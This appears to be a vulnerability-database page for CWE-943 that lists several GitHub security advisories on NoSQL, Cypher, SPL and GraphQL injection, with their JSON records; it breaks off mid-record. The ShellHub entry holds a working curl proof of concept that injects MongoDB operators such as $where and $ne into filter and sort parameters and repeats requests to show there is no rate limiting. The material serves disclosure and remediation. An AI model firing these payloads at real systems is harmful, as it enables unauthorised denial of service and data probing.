CWE-943
Allowed-with-ReviewImproper Neutralization of Special Elements in Data Query Logic
Abstraction: Class · Status: Incomplete
The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.
163 vulnerabilities reference this CWE, most recent first.
GHSA-47R2-V3X6-WFF9
Vulnerability from github – Published: 2026-05-06 23:28 – Updated: 2026-05-14 20:43Summary
The device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:
- The
namefield of each filter property in the base64-encodedfilterquery parameter. - The
sort_byquery parameter.
Any authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.
Severity
CVSS 3.1: 6.5 (Medium) CWE-20 (Improper Input Validation) CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
Affected versions
ShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (api/store/mongo/query-options.go).
Root cause
Vector 1 — Filter field name
api/store/mongo/query-options.go:140:
go
conditions = append(conditions, bson.M{param.Name: property})
param.Name is the name field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names ($where, $ne, $or, $regex) and virtual pipeline-computed fields (namespace, paths containing $) to be injected.
Vector 2 — Sort-by field
Similar pattern in the sort pipeline where the sort_by query parameter is used to build bson.M{"$sort": {sortBy: order}} without validation.
Additional observation
fromContains (api/store/mongo/internal/filters.go:60-69) passes user input directly as $regex value, which enables blind regex extraction over string fields within the caller's tenant and potential ReDoS amplification on large datasets.
go
func fromContains(value interface{}) (bson.M, error) {
switch value.(type) {
case string:
return bson.M{"$regex": value, "$options": "i"}, nil
Proof of concept (validated live against v0.24.1)
```bash TOKEN=
# Helper: base64-encode a filter payload encode_filter() { python3 -c 'import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())' "$1" }
# --- Vector 1: filter field injection ---
# Baseline: legitimate filter -> 200 F=$(encode_filter '[{"type":"property","params":{"name":"name","operator":"contains","value":"anything"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=200
# Exploit 1a: Mongo operator as field name F=$(encode_filter '[{"type":"property","params":{"name":"$where","operator":"contains","value":"x"}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 1b: nested object as value F=$(encode_filter '[{"type":"property","params":{"name":"status","operator":"eq","value":{"$ne":"accepted"}}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 1c: pipeline-computed field as filter name F=$(encode_filter '[{"type":"property","params":{"name":"namespace","operator":"contains","value":"."}}]') curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?filter=$F" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# --- Vector 2: sort-by injection ---
# Baseline: legitimate sort -> 200 curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=name" \ -H "Authorization: Bearer $TOKEN" # HTTP=200
# Exploit 2a: Mongo operator as sort field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2b: path containing $ curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=_id.%24%24%24" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2c: oversized sort field (no length validation) curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=$(python3 -c 'print("A"*5000)')" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# Exploit 2d: non-indexable internal field curl -sS -w "HTTP=%{http_code}\n" "http://target/api/devices?sort_by=tenant_id" \ -H "Authorization: Bearer $TOKEN" # HTTP=500
# --- Repeat to demonstrate no rate limiting --- for i in $(seq 1 20); do curl -sS -o /dev/null -w "%{http_code} " "http://target/api/devices?sort_by=\$where" \ -H "Authorization: Bearer $TOKEN" done # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 ```
Confirmed field values that trigger 500:
- Filter name: $where, $regex, $or, $ne, remote_addr, tenant_id, namespace, any path containing $ after a .
- Sort-by: $where, _id.$$$, tenant_id, password.hash, overly long strings
Observed response characteristics:
HTTP/1.1 500 Internal Server Error
Content-Length: 0
X-Request-Id: <id> ← logged as error in backend
Response time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.
Impact
- Availability (low): unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass fingerprinting.
- Information disclosure (low): potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.
- Resource exhaustion (potential): user-controlled
$regexvalue on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments). - Forensics difficulty: unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.
Suggested fix
-
Allowlist filter and sort field names per collection. Add a whitelist of allowed
param.Nameandsort_byvalues for each model exposed via filters (device,session, etc.). Reject anything else with HTTP 400. -
Reject BSON operators in field names. Even if an allowlist is not practical, reject values that:
- start with
$ - contain
$after a. - contain characters outside
[A-Za-z0-9_.] - exceed a reasonable length (e.g., 64 characters)
- start with
-
Validate
valueshape. Forcontains/eq/neoperators, reject non-primitive values (objects, arrays of objects). -
Catch aggregation errors. In
api/store/mongo/query-options.go, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500. -
Limit regex complexity. In
fromContains, reject regex values longer than N characters or containing nested quantifiers ((...)+,(...)*,(.+)+, etc.) to mitigate ReDoS.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.24.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/shellhub-io/shellhub"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44425"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-20",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:28:05Z",
"nvd_published_at": "2026-05-13T22:16:44Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe device list endpoint accepts user-controlled identifiers in two places that are passed directly as BSON/SQL keys in the database layer without validation:\n\n 1. The `name` field of each filter property in the base64-encoded `filter`\n query parameter.\n 2. The `sort_by` query parameter.\n\nAny authenticated user can craft payloads that cause the aggregation/query to fail and the API to return HTTP 500 with no body, with no rate limiting applied.\n\n## Severity\n**CVSS 3.1: 6.5 (Medium)** \nCWE-20 (Improper Input Validation) \nCWE-943 (Improper Neutralization of Special Elements in Data Query Logic)\n\n## Affected versions\nShellHub Community v0.24.1 (validated). All versions sharing the same filter and sort pipeline (`api/store/mongo/query-options.go`).\n\n## Root cause\n\n### Vector 1 \u2014 Filter field name\n `api/store/mongo/query-options.go:140`:\n\n ```go\n conditions = append(conditions, bson.M{param.Name: property})\n ```\n\n`param.Name` is the `name` field from the JSON filter supplied by the client. It becomes a BSON map key with no validation, allowing BSON operator names (`$where`, `$ne`, `$or`, `$regex`) and virtual pipeline-computed fields (`namespace`, paths containing `$`) to be injected.\n\n### Vector 2 \u2014 Sort-by field\nSimilar pattern in the sort pipeline where the `sort_by` query parameter is used to build `bson.M{\"$sort\": {sortBy: order}}` without validation.\n\n### Additional observation\n`fromContains` (`api/store/mongo/internal/filters.go:60-69`) passes user input directly as `$regex` value, which enables blind regex extraction over string fields within the caller\u0027s tenant and potential ReDoS amplification on large datasets.\n\n ```go\n func fromContains(value interface{}) (bson.M, error) {\n switch value.(type) {\n case string:\n return bson.M{\"$regex\": value, \"$options\": \"i\"}, nil\n ```\n\n## Proof of concept (validated live against v0.24.1)\n\n ```bash\n TOKEN=\u003cvalid-user-jwt\u003e\n\n # Helper: base64-encode a filter payload\n encode_filter() {\n python3 -c \u0027import json,base64,sys;print(base64.b64encode(json.dumps(json.loads(sys.argv[1])).encode()).decode())\u0027 \"$1\"\n }\n\n # --- Vector 1: filter field injection ---\n\n # Baseline: legitimate filter -\u003e 200\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"name\",\"operator\":\"contains\",\"value\":\"anything\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=200\n\n # Exploit 1a: Mongo operator as field name\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"$where\",\"operator\":\"contains\",\"value\":\"x\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 1b: nested object as value\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"status\",\"operator\":\"eq\",\"value\":{\"$ne\":\"accepted\"}}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 1c: pipeline-computed field as filter name\n F=$(encode_filter \u0027[{\"type\":\"property\",\"params\":{\"name\":\"namespace\",\"operator\":\"contains\",\"value\":\".\"}}]\u0027)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?filter=$F\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # --- Vector 2: sort-by injection ---\n\n # Baseline: legitimate sort -\u003e 200\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=name\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=200\n\n # Exploit 2a: Mongo operator as sort field\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=\\$where\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2b: path containing $\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=_id.%24%24%24\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2c: oversized sort field (no length validation)\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=$(python3 -c \u0027print(\"A\"*5000)\u0027)\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # Exploit 2d: non-indexable internal field\n curl -sS -w \"HTTP=%{http_code}\\n\" \"http://target/api/devices?sort_by=tenant_id\" \\\n -H \"Authorization: Bearer $TOKEN\"\n # HTTP=500\n\n # --- Repeat to demonstrate no rate limiting ---\n for i in $(seq 1 20); do\n curl -sS -o /dev/null -w \"%{http_code} \" \"http://target/api/devices?sort_by=\\$where\" \\\n -H \"Authorization: Bearer $TOKEN\"\n done\n # 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500 500\n ```\n\n **Confirmed field values that trigger 500:**\n - Filter name: `$where`, `$regex`, `$or`, `$ne`, `remote_addr`, `tenant_id`, `namespace`, any path containing `$` after a `.`\n - Sort-by: `$where`, `_id.$$$`, `tenant_id`, `password.hash`, overly long strings\n\n **Observed response characteristics:**\n ```\n HTTP/1.1 500 Internal Server Error\n Content-Length: 0\n X-Request-Id: \u003cid\u003e \u2190 logged as error in backend\n ```\n\nResponse time 8-18 ms per request, server process stays alive, no degradation across 20 consecutive requests.\n\n## Impact\n - **Availability (low):** unrestricted HTTP 500 generation by any authenticated caller; log noise, SIEM false-positives, WAF bypass\nfingerprinting.\n - **Information disclosure (low):** potential stack trace exposure depending on logger configuration; attacker can fingerprint the underlying MongoDB aggregation pipeline and schema.\n - **Resource exhaustion (potential):** user-controlled `$regex` value on large tenant datasets enables ReDoS amplification (not reproducible on a 2-device test instance, but attack surface is real on production-scale deployments).\n - **Forensics difficulty:** unified 500 response makes it hard to distinguish legitimate errors from attacker probes in logs.\n\n## Suggested fix\n\n 1. **Allowlist filter and sort field names per collection.** Add a whitelist of allowed `param.Name` and `sort_by` values for each model exposed via filters (`device`, `session`, etc.). Reject anything else with HTTP 400.\n\n 2. **Reject BSON operators in field names.** Even if an allowlist is not practical, reject values that:\n - start with `$`\n - contain `$` after a `.`\n - contain characters outside `[A-Za-z0-9_.]`\n - exceed a reasonable length (e.g., 64 characters)\n\n 3. **Validate `value` shape.** For `contains`/`eq`/`ne` operators, reject non-primitive values (objects, arrays of objects).\n\n 4. **Catch aggregation errors.** In `api/store/mongo/query-options.go`, wrap pipeline execution and return a typed error that the HTTP layer maps to 400 Bad Request instead of 500.\n\n 5. **Limit regex complexity.** In `fromContains`, reject regex values longer than N characters or containing nested quantifiers (`(...)+`, `(...)*`, `(.+)+`, etc.) to mitigate ReDoS.",
"id": "GHSA-47r2-v3x6-wff9",
"modified": "2026-05-14T20:43:23Z",
"published": "2026-05-06T23:28:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-47r2-v3x6-wff9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44425"
},
{
"type": "PACKAGE",
"url": "https://github.com/shellhub-io/shellhub"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ShellHub has crash-DoS via field injection in filter and sort-by parameters"
}
GHSA-4HW2-8JM2-9J36
Vulnerability from github – Published: 2026-08-20 00:34 – Updated: 2026-08-20 00:34In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, an unauthenticated user could trick a user who holds the "admin" Splunk role into opening a crafted link to Monitoring Console. When that user opens the link, Splunk Enterprise runs attacker-controlled Search Processing Language (SPL) using the permissions of that user. The injected SPL could expose data available to that user or modify lookup data. The vulnerability is possible because Monitoring Console does not sufficiently validate data used to build dashboard searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will.
{
"affected": [],
"aliases": [
"CVE-2026-76329"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T22:17:17Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise versions below 10.4.2, 10.2.6, 10.0.9, and 9.4.14, an unauthenticated user could trick a user who holds the \"admin\" Splunk role into opening a crafted link to Monitoring Console. When that user opens the link, Splunk Enterprise runs attacker-controlled Search Processing Language (SPL) using the permissions of that user. The injected SPL could expose data available to that user or modify lookup data. The vulnerability is possible because Monitoring Console does not sufficiently validate data used to build dashboard searches. The vulnerability requires the attacker to phish the user by tricking them into opening the crafted link. The unauthenticated user should not be able to exploit the vulnerability at will.",
"id": "GHSA-4hw2-8jm2-9j36",
"modified": "2026-08-20T00:34:58Z",
"published": "2026-08-20T00:34:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76329"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2026-0801"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-4JRW-64VR-7G8M
Vulnerability from github – Published: 2026-01-14 12:31 – Updated: 2026-01-15 22:33Cypher Injection vulnerability in Apache Camel camel-neo4j component.
This issue affects Apache Camel: from 4.10.0 before 4.10.8, from 4.14.0 before 4.14.3, from 4.15.0 before 4.17.0
Users are recommended to upgrade to version 4.10.8 for 4.10.x LTS and 4.14.3 for 4.14.x LTS and 4.17.0.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.10.0"
},
{
"fixed": "4.10.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.14.0"
},
{
"fixed": "4.14.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.camel:camel-neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "4.15.0"
},
{
"fixed": "4.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66169"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-14T21:17:27Z",
"nvd_published_at": "2026-01-14T12:16:32Z",
"severity": "MODERATE"
},
"details": "Cypher Injection vulnerability in Apache Camel camel-neo4j component.\n\nThis issue affects Apache Camel: from 4.10.0 before 4.10.8, from 4.14.0 before 4.14.3, from 4.15.0 before 4.17.0\n\nUsers are recommended to upgrade to version 4.10.8 for 4.10.x LTS and 4.14.3 for 4.14.x LTS and 4.17.0.",
"id": "GHSA-4jrw-64vr-7g8m",
"modified": "2026-01-15T22:33:18Z",
"published": "2026-01-14T12:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66169"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/20035"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/20036"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/pull/20037"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/66715d3feb4ba15df30cffe437e45efeedfba10d"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/723e2cd98ce4b4ceb1dd38837bc113fca0cef170"
},
{
"type": "WEB",
"url": "https://github.com/apache/camel/commit/e46c4c0ef542a64dc791253763a8273dfd7fb179"
},
{
"type": "WEB",
"url": "https://camel.apache.org/security/CVE-2025-66169.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/apache/camel"
},
{
"type": "WEB",
"url": "https://issues.apache.org/jira/browse/CAMEL-22719"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/01/13/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Apache Camel camel-neo4j component is vulnerable to cypher injection"
}
GHSA-4X9Q-XQFH-JH4J
Vulnerability from github – Published: 2026-08-20 12:31 – Updated: 2026-09-01 21:31n8n before 1.123.69, 2.33.4, and 2.34.1 contains a NoSQL injection vulnerability in the MongoDB node's Find, Delete, and Aggregate operations, which parse the Query parameter as JSON after expression resolution without sanitizing MongoDB operators. An attacker who can influence the resolved query (e.g., via externally-controlled data) can inject operators such as $ne or $where, turning an intended single-document lookup into full-collection disclosure, full-collection deletion, or other operations on the database server.
{
"affected": [],
"aliases": [
"CVE-2026-77070"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T12:16:38Z",
"severity": "HIGH"
},
"details": "n8n before 1.123.69, 2.33.4, and 2.34.1 contains a NoSQL injection vulnerability in the MongoDB node\u0027s Find, Delete, and Aggregate operations, which parse the Query parameter as JSON after expression resolution without sanitizing MongoDB operators. An attacker who can influence the resolved query (e.g., via externally-controlled data) can inject operators such as $ne or $where, turning an intended single-document lookup into full-collection disclosure, full-collection deletion, or other operations on the database server.",
"id": "GHSA-4x9q-xqfh-jh4j",
"modified": "2026-09-01T21:31:19Z",
"published": "2026-08-20T12:31:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-953p-jm2c-8h5j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77070"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/n8n-before-nosql-injection-via-mongodb-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-533J-2V4Q-MW5H
Vulnerability from github – Published: 2026-08-20 17:29 – Updated: 2026-08-20 17:29Executive Summary
A NoSQL injection issue exists in the langgraph-checkpoint-mongodb and langgraph-store-mongodb libraries. MongoDBSaver.list() and MongoDBStore.search() methods accept a filter parameter that is incorporated into MongoDB queries without sufficient validation. Because MongoDB query operator keys (those prefixed with $) are not rejected during filter construction, a caller with control of the filter input can embed MongoDB query operators directly into the query.
CVSS Details
CVSS 4.0
| Field | Value |
|---|---|
| CVSS Version | 4.0 |
| Vector String | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N |
| Base Score | 7.1 (High) |
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Triggerable remotely via API |
| Attack Complexity (AC) | Low | No special conditions required |
| Attack Requirements (AT) | None | No prerequisite deployment or execution conditions |
| Privileges Required (PR) | Low | Authenticated caller of the checkpoint/store API |
| User Interaction (UI) | None | No user action required |
| Vulnerable System Confidentiality (VC) | None | No direct impact on the vulnerable component itself |
| Vulnerable System Integrity (VI) | None | Read-only access |
| Vulnerable System Availability (VA) | None | No service disruption |
| Subsequent System Confidentiality (SC) | High | Full access to other tenants' checkpoint data |
| Subsequent System Integrity (SI) | None | No write or modification capability |
| Subsequent System Availability (SA) | None | No service disruption to downstream systems |
CVSS 3.1
| Field | Value |
|---|---|
| CVSS Version | 3.1 |
| Vector String | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Base Score | 7.7 (High) |
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Triggerable remotely via API |
| Attack Complexity | Low | No special conditions required |
| Privileges Required | Low | Authenticated caller of the checkpoint/store API |
| User Interaction | None | No user action required |
| Scope | Changed | Impact crosses tenant boundaries |
| Confidentiality | High | Full access to other tenants' checkpoint data |
| Integrity | None | Read-only access |
| Availability | None | No service disruption |
| --- | ||
| ## Affected Packages | ||
| Package | Distribution | Affected Methods |
| --- | --- | --- |
langgraph-checkpoint-mongodb |
PyPI | MongoDBSaver.list(), MongoDBSaver.alist() |
langgraph-store-mongodb |
PyPI | MongoDBStore.search() |
| --- | ||
| ## Advisory FAQ | ||
| ### How do I know if I am affected? |
You are likely affected if all of the following are true:
1. Your application uses langgraph-checkpoint-mongodb or langgraph-store-mongodb.
2. Your application calls MongoDBSaver.list(), MongoDBSaver.alist(), or
MongoDBStore.search() with a filter argument.
3. Any part of that filter argument is derived from user-controlled input — for example, HTTP
query parameters, request body fields, or agent tool arguments.
4. You operate in a multi-tenant context where the filter is used to enforce per-user or
per-tenant data isolation.
If the filter argument is constructed entirely from trusted, server-side values, the practical risk is
lower, but upgrading is still recommended.
How do I fix the issue?
Upgrade to the version of langgraph-checkpoint-mongodb and langgraph-store-mongodb.
If you cannot upgrade immediately, apply the following mitigation: in your application code,
before passing any user-controlled input to the filter parameter, remove or escape MongoDB
Query metacharacters such as “$”.
Acknowledgements
Thanks to Kenichi Kawaguchi for responsibly disclosing this issue via the GitHub Security Advisory program on the langchain-mongodb repository.
Revisions
| Date | Description |
|---|---|
| 2026-06-05 | Initial advisory published |
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "langgraph-checkpoint-mongodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "langgraph-store-mongodb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55253"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T17:29:14Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Executive Summary\n\nA NoSQL injection issue exists in the langgraph-checkpoint-mongodb and\nlanggraph-store-mongodb libraries. MongoDBSaver.list() and MongoDBStore.search() methods\naccept a filter parameter that is incorporated into MongoDB queries without sufficient validation.\nBecause MongoDB query operator keys (those prefixed with $) are not rejected during filter\nconstruction, a caller with control of the filter input can embed MongoDB query operators\ndirectly into the query.\n\n---\n\n## CVSS Details\n\n### CVSS 4.0\n\n| Field | Value |\n|---|---|\n| **CVSS Version** | 4.0 |\n| **Vector String** | `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N` |\n| **Base Score** | **7.1 (High)** |\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector (AV) | Network | Triggerable remotely via API |\n| Attack Complexity (AC) | Low | No special conditions required |\n| Attack Requirements (AT) | None | No prerequisite deployment or execution conditions |\n| Privileges Required (PR) | Low | Authenticated caller of the checkpoint/store API |\n| User Interaction (UI) | None | No user action required |\n| Vulnerable System Confidentiality (VC) | None | No direct impact on the vulnerable component itself |\n| Vulnerable System Integrity (VI) | None | Read-only access |\n| Vulnerable System Availability (VA) | None | No service disruption |\n| Subsequent System Confidentiality (SC) | High | Full access to other tenants\u0027 checkpoint data |\n| Subsequent System Integrity (SI) | None | No write or modification capability |\n| Subsequent System Availability (SA) | None | No service disruption to downstream systems |\n\n### CVSS 3.1\n\n| Field | Value |\n|---|---|\n| **CVSS Version** | 3.1 |\n| **Vector String** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |\n| **Base Score** | **7.7 (High)** |\n\n| Metric | Value | Rationale |\n|---|---|---|\n| Attack Vector | Network | Triggerable remotely via API |\n| Attack Complexity | Low | No special conditions required |\n| Privileges Required | Low | Authenticated caller of the checkpoint/store API |\n| User Interaction | None | No user action required |\n| Scope | Changed | Impact crosses tenant boundaries |\n| Confidentiality | High | Full access to other tenants\u0027 checkpoint data |\n| Integrity | None | Read-only access |\n| Availability | None | No service disruption |\n---\n## Affected Packages\n| Package | Distribution | Affected Methods | Affected Versions |\n|---|---|---|---|\n| `langgraph-checkpoint-mongodb` | PyPI | `MongoDBSaver.list()`, `MongoDBSaver.alist()` | \u003c 0.3.0 |\n| `langgraph-store-mongodb` | PyPI | `MongoDBStore.search()` | \u003c 0.4.0 |\n---\n## Advisory FAQ\n### How do I know if I am affected?\n\nYou are likely affected if **all** of the following are true:\n1. Your application uses `langgraph-checkpoint-mongodb` or `langgraph-store-mongodb`.\n2. Your application calls `MongoDBSaver.list()`, `MongoDBSaver.alist()`, or\n`MongoDBStore.search()` with a `filter` argument.\n3. Any part of that `filter` argument is derived from user-controlled input \u2014 for example, HTTP\nquery parameters, request body fields, or agent tool arguments.\n4. You operate in a multi-tenant context where the `filter` is used to enforce per-user or\nper-tenant data isolation.\n\nIf the `filter` argument is constructed entirely from trusted, server-side values, the practical risk is\nlower, but upgrading is still recommended.\n\n### How do I fix the issue?\n\n**Upgrade** to the version of `langgraph-checkpoint-mongodb` and `langgraph-store-mongodb`.\nIf you cannot upgrade immediately, apply the following mitigation: in your application code,\nbefore passing any user-controlled input to the `filter` parameter, remove or escape MongoDB\nQuery metacharacters such as \u201c$\u201d.\n\n---\n\n## Acknowledgements\nThanks to Kenichi Kawaguchi for responsibly disclosing this issue via the GitHub Security\nAdvisory program on the langchain-mongodb repository.\n\n---\n\n## Revisions\n\n| Date | Description |\n|---|---|\n| 2026-06-05 | Initial advisory published |",
"id": "GHSA-533j-2v4q-mw5h",
"modified": "2026-08-20T17:29:14Z",
"published": "2026-08-20T17:29:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain-mongodb/security/advisories/GHSA-533j-2v4q-mw5h"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langchain-mongodb"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain-mongodb/releases/tag/libs%2Flanggraph-checkpoint-mongodb%2Fv0.4.0"
},
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain-mongodb/releases/tag/libs%2Flanggraph-store-mongodb%2Fv0.3.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangChain MongoDB has NoSQL Operator Injection in MongoDBSaver.list() leading to cross-tenant data exposure"
}
GHSA-5C7W-4WM3-85VW
Vulnerability from github – Published: 2026-07-02 19:00 – Updated: 2026-07-02 19:00Finding
Location: core/src/client/graphql.ts:66-80
The gql template tag function warned about interpolated values containing GraphQL metacharacters ({}():) but still concatenated them into the query string, enabling potential GraphQL injection.
Status
Fixed in v0.2.136 — The gql function now throws an error when metacharacters are detected in interpolated values, forcing developers to use the variables parameter.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@asymmetric-effort/specifyjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.136"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
